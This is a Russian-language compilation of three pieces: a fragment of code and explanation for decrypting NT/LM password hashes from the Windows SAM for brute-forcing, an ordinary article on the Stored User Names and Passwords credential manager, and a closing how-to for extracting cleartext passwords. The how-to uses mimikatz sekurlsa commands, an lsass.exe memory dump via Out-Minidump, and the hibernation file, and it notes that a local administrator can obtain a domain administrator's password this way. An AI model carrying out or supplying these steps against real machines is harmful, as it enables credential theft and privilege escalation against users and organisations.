key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2));
key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3));
key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4));
key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5));
key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6));
key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i < 8; i++) {
key[i] = (byte)(key[i] << 1);
}
des_set_odd_parity(ref key);
return key;
}

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES’ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

В Windows Vista, Windows XP, Windows Server 2008 и Windows Server 2003 существует встроенный механизм, который автоматически управляет именами пользователей и паролями, необходимыми для доступа к ресурсам, требующим учетных данных, отличных от входных учетных данных пользователей. Этот компонент называется Stored User Names and Passwords. В статье рассказывается о его принципах действия и преимуществах. Кроме того, речь пойдет о ручном управлении учетными данными.

Пользователям бывает трудно запоминать многочисленные имена и пароли для доступа к различным ресурсам. Существует немало программ независимых производителей для управления учетными данными, но в Windows Vista, Windows XP, Windows Server 2008 и Windows Server 2003 предусмотрена встроенная функция для автоматического управления именами пользователей и паролями для доступа к ресурсам, требующим учетных данных, отличных от обычных данных регистрации в Windows. Этот компонент называется Stored User Names and Passwords.

С помощью Stored User Names and Passwords можно хранить учетные данные для локальной сети и ресурсов Internet. Типы учетных данных, создаваемые, управляемые и применяемые с использованием компонента:

• имена пользователя и пароли;
• сертификаты X.509 (например, для смарт-карт);
• паспорта (например, паспорта .NET).

Пользователям Windows XP Home Edition необходимо помнить, что в этой версии XP хранятся только паспортные учетные данные и имена пользователя и пароли RAS/VPN.

Рассмотрим преимущества компонента Stored User Names and Passwords, принцип его действия и возможности ручного управления учетными данными.

Преимущества Stored User Names and Passwords

При регистрации в системе локально или при регистрации в домене пользователи должны предоставить имя и пароль. После регистрации эти учетные данные становятся контекстом безопасности по умолчанию для доступа к другим ресурсам в локальной сети, удаленной сети и/или Internet. Но иногда учетных данных бывает недостаточно для доступа ко всем необходимым пользователю ресурсам. Например, дополнительные учетные данные требуются для доступа к Web-узлам с проверкой подлинности или доменам, с которыми нет доверительных отношений. Если таких ресурсов много, пользователям нужно вводить целый ряд различных учетных данных.

Разнообразные учетные данные могут потребоваться и администраторам: например, регистрация в сети с обычными учетными данными Windows и использование административных прав для выполнения определенных задач на удаленных серверах.

Необходимость помнить многочисленные комбинации имен пользователей и паролей приводит к неправильному использованию паролей, в том числе слабым паролям, одинаковым паролям для всех ресурсов и записи паролей где бы то ни было. Таких ошибок можно избежать благодаря компоненту Stored User Names and Passwords, который позволяет безопасно хранить многие учетные данные и управлять ими. Пользователям предоставляется единая процедура регистрации, так как они регистрируются только на своих компьютерах и в своих доменах. Поскольку пользователям не приходится запоминать пароли, они, скорее всего, выберут сложные пароли, что существенно повысит общую безопасность.

Учетные данные хранятся в защищенной части профиля пользователя, где они недоступны для других пользователей. Если пользователь располагает единственным профилем в масштабах всей компании (перемещаемый профиль), сохраненные имена пользователя и пароли запоминаются всегда при его регистрации в сети. Это дополнительно расширяет функциональность компонента при сохранении приемлемого уровня безопасности.

Принцип действия Stored User Names and Passwords

При попытке обратиться к Web-узлу или сетевому ресурсу, недоступному с обычными учетными данными, пользователь получает запрос об имени и пароле. Если флажок Remember my password установлен, введенная информация запоминается в профиле пользователя. В следующий раз, когда пользователь подключается к этому ресурсу, проверка подлинности выполняется автоматически на основе сохраненных учетных данных.

Каждый раз, когда пользователь устанавливает флажок Remember my password, учетные данные сохраняются в наиболее общей форме. Например, если флажок Remember my password установлен при доступе к определенному серверу в домене company.com, учетные данные сохраняются под *.company.com. Если пользователь вновь устанавливает флажок Remember my password при обращении к другому серверу в том же домене, ранее сохраненные данные не перезаписываются, а новые учетные данные сохраняются с более конкретной информацией, например server1.company.com. В силу такого подхода нельзя сохранить более одного имени пользователя и пароля для конкретной процедуры регистрации, и это несколько ограничивает возможности компонента Stored User Names and Passwords.

Если сохранено несколько наборов учетных данных, Windows упорядочивает их от конкретных к более общим. Если пользователь пытается обратиться к ресурсу, недоступному с его текущими учетными данными, пакет проверки подлинности ищет в репозитории Stored User Names and Passwords наиболее точный набор учетных данных, подходящий для ресурса. Если он обнаружен, пакет проверки подлинности использует его, не запрашивая дополнительных данных. Если нет, пользователь получает приглашение ввести имя и пароль.

Учетные данные

В дополнение к автоматическому созданию и хранению учетных данных при установке флажка Remember my password, можно вручную создать учетные данные для конкретного ресурса. Учетные данные, подготовленные вручную, обрабатываются операционной системой так же, как созданные автоматически.

Vista, XP, Server 2008 и Windows 2003 предоставляют простой и интуитивно понятный интерфейс для создания учетных данных вручную. Можно просматривать, изменять и удалять существующие учетные данные. Кроме того, в Vista и Server 2008 предусмотрена полезная возможность архивации и восстановления наборов учетных данных. На экране 1 показан интерфейс Vista — диалоговое окно Stored User Names and Passwords. Ниже описано, как использовать диалоговое окно Stored User Names and Passwords в XP и Vista. Процессы здесь те же, что и в соответствующих серверных операционных системах.

Доступ к диалоговому окну Stored User Names and Passwords.

В XP доступ к диалоговому окну Stored User Names and Passwords слегка различается в зависимости от того, находится компьютер в рабочей группе или в домене. Если компьютер в рабочей группе, нужно открыть утилиту User Accounts панели управления, выбрать текущего зарегистрированного пользователя, а затем щелкнуть Manage my network passwords в области Related tasks. Существует возможность управлять учетными данными текущего зарегистрированного пользователя. Если компьютер в домене, откройте утилиту User Accounts панели управления, щелкните вкладку Advanced, а затем кнопку Manage Passwords.

В Windows Vista доступ к диалоговому окну выполняется одинаково, независимо от местонахождения компьютера в рабочей группе или домене. Откройте утилиту User Accounts панели управления, щелкните заголовок User Accounts, а затем Manage my network passwords в области Tasks.

В Vista и XP к утилите User Accounts можно обратиться напрямую, открыв окно Run и запустив команду

Control Userpasswords2

В открывшемся окне укажите вкладку Advanced, а затем нажмите кнопку Manage Passwords. Если нужно получить доступ к учетным данным текущего зарегистрированного пользователя, выполните команду

rundll32.exe keymgr.dll,
   KRShowKeyMgr

В результате напрямую открывается диалоговое окно Stored User Names and Passwords. В нем можно добавлять, изменять, удалять, архивировать и восстанавливать наборы учетных данных.

Добавление набора учетных данных. Чтобы вручную добавить набор учетных данных для ресурса, следует щелкнуть кнопку Add для вызова диалогового окна Stored User Names and Passwords, показанного на экране 2.

В поле Log on to введите имя ресурса. Можно использовать различные форматы, в том числе имена узлов (например, server1), полные доменные имена (например, server1.domainX.com) и даже подстановочные символы (например, *.domainX.com). Но помните, что, если для одного ресурса может применяться несколько наборов учетных данных, компонент Stored User Names and Passwords всегда использует наиболее специфичное имя ресурса.

В поле User name следует ввести имя пользователя в одном из следующих форматов:

• ДоменИмя пользователя (например, DomainXUser1);
• КомпьютерИмя пользователя (например, Computer1User1);
• Имя пользователяКомпьютер (например, User1Computer1);
• WorkgroupUsername (например, SalesUser2);
• Имя пользователяРабочая группа (например, User2Sales);
• Основное имя пользователя (UPN, например, User1@domainX.com).

В поле Password введите пароль. Наконец, укажите, применимы ли учетные данные для проверки подлинности при регистрации в Windows, на Web-узле или в программе.

Изменение набора учетных данных. Чтобы изменить существующий набор учетных данных, выберите ресурс из списка в диалоговом окне Stored User Names and Passwords, а затем выберите команду Edit (в Vista) или Properties (в XP). Изменять можно только имя пользователя и пароль.

Удаление набора учетных данных. Для удаления существующего набора учетных данных выберите ресурс из списка в диалоговом окне Stored User Names and Passwords и щелкните Remove.

Архивация и восстановление наборов учетных данных (только в Vista и Server 2008). Автоматическое сохранение учетных данных полезно, но их потеря может привести к неприятным последствиям. В Vista и Server 2008 можно архивировать и восстанавливать наборы учетных данных с помощью мастера архивации и восстановления. В целях безопасности процессы архивации и восстановления автоматизировать нельзя. Единственный способ архивировать и восстановить наборы учетных данных — сделать это вручную.

Для архивации в Vista нажмите кнопку Back up в диалоговом окне Stored User Names and Passwords. В диалоговом окне, показанном на экране 3, перейдите в место, где нужно сохранить архивный файл, и введите имя, которое будет ему присвоено.

Все наборы учетных данных хранятся в одном файле .crd, зашифрованном с помощью алгоритма Advanced Encryption Standard (AES). После того как будет указано место и имя файла, пользователь должен нажать клавиши Ctrl+Alt+Del, чтобы переключить Vista в безопасный режим. Затем выдается приглашение ввести новый пароль для защиты учетных данных. Пароль должен быть надежным (содержать буквы верхнего и нижнего регистров, цифры и специальные символы). После ввода и подтверждения пароля учетные данные сохраняются в указанном месте с указанным именем файла.

Если нужно восстановить ранее сохраненные учетные данные, щелкните кнопку Restore в окне Stored User Names and Passwords. Перейдите к местоположению файла .crd и введите пароль. Помните, что восстановленные наборы учетных данных из архивного файла заменяют любые существующие наборы учетных данных в компьютере.

Защита учетных данных

Хранить несколько наборов учетных данных в одном месте удобно, но опасно. Хотя учетные данные хранятся в зашифрованном формате в диспетчере учетных записей (SAM) и профиле пользователя, злоумышленники могут взломать пароли, если получат физический доступ к файлам профиля пользователя.

Для максимально надежной защиты учетных данных важно применить все меры безопасности. Перечислим некоторые из них.

• Защита пользователями компьютеров, оставленных без присмотра. Например, пользователи должны завершить сеанс или блокировать компьютеры, прежде чем покинуть их на длительное время. Для защиты компьютеров, оставленных без присмотра на короткое время, нужно установить хранители экрана с паролем.
• Защита ноутбуков с использованием BitLocker или аналогичной программы шифрования. Таким образом, данные будут защищены в случае потери или кражи компьютера.
• Использование надежного пароля для обычной процедуры регистрации в Windows и регулярная смена этого пароля. В домене лучше всего использовать групповую политику для принудительного изменения пароля.
• Для особо важных ресурсов можно отключить компонент Stored User Names and Passwords.

Удобный инструмент

Компонент Stored User Names and Passwords — удобный инструмент для пользователей, работающих со многими учетными данными для доступа к различным ресурсам сети и Internet. Он обеспечивает единую процедуру входа. Хотя хранилище учетных данных зашифровано, важно надежно защитить рабочие станции с сохраненными учетными данными.

Дамир Диздаревич — Менеджер учебного центра Logosoft в Сараево (Босния). Имеет сертификаты MCSE, MCTS, MCITP и MCT. Специализируется на безопасности Windows Server.

Как известно windows хранит пароли пользователей в виде хеша в файле C:windowssystem32configsam. Но c пользователями залогиненными в системе дело обстоит немножко по другому. Штука в том, что некоторые системные процессы в своих служебных целях все-таки используют пароли пользователей в открытом (или зашифрованном) виде, а не их хэши. C помощью утилиты mimikatz при наличии прав администратора можно выцепить пароли авторизованных пользователей.

Вариант 1. Достаём пароли из памяти.

Для этого нам понадобятся пользователь с правом на отладку (привилегиями SeDebugPrivilege) и утилита Mimikatz (скачать можно с оф.сайта или отсюда пароль: tmie.ru). Так как права на отладку есть как и локального так и у доменного администраторов, локальный админ может узнать пароль доменного.

Запускаем Mimikatz с правами администратора, включаем отладку:

privilege::debug

создаем лог-файл:

log logfile.txt

сохраняем пароли в файл:

sekurlsa::logonPasswords full

В итоге получаем файлик с паролями пользователей в открытом виде.

Вариант 2. Достаем пароли из дампа процесса lsass.exe.

Если на нужном сервере или рабочей станции утилиту блокирует антивирусник, или вы физически не можете работать одновременно с пользователями, можно снять дамп памяти процесса lass.exe ручками или планировщиком.

Снять дамп памяти процесса можно с помощью модуля: Out-Minidump.ps1 (скачать можно отсюда или отсюда)

Импортируем модуль в powershell:

import-module .Out-Minidump.ps1

Снимаем дамп процесса lsass.exe.

Get-Process lsass | Out-Minidump

Получаем файл дампа памяти процесса. Файл лежит либо в system32, либо в папке откуда запускалась команда. Имя файла выглядит lsass_<ID процесса>.dmp.

Запускаем mimikatz  и натравливаем его на наш дамп:

sekurlsa::minidump <имя файла>

Дальше всё так же как и в первом варианте:

log logfile.txt

sekurlsa::logonPasswords full

Вариант 3. Достаём пароли из файла гибернации (hyberfile.sys).

При желании можно скопировать файл гибернации, конвертнуть его в dmp, и распарсить дебагером. Детально расписано здесь: (Хабр).

Windows memory toolkit community edition (скачать).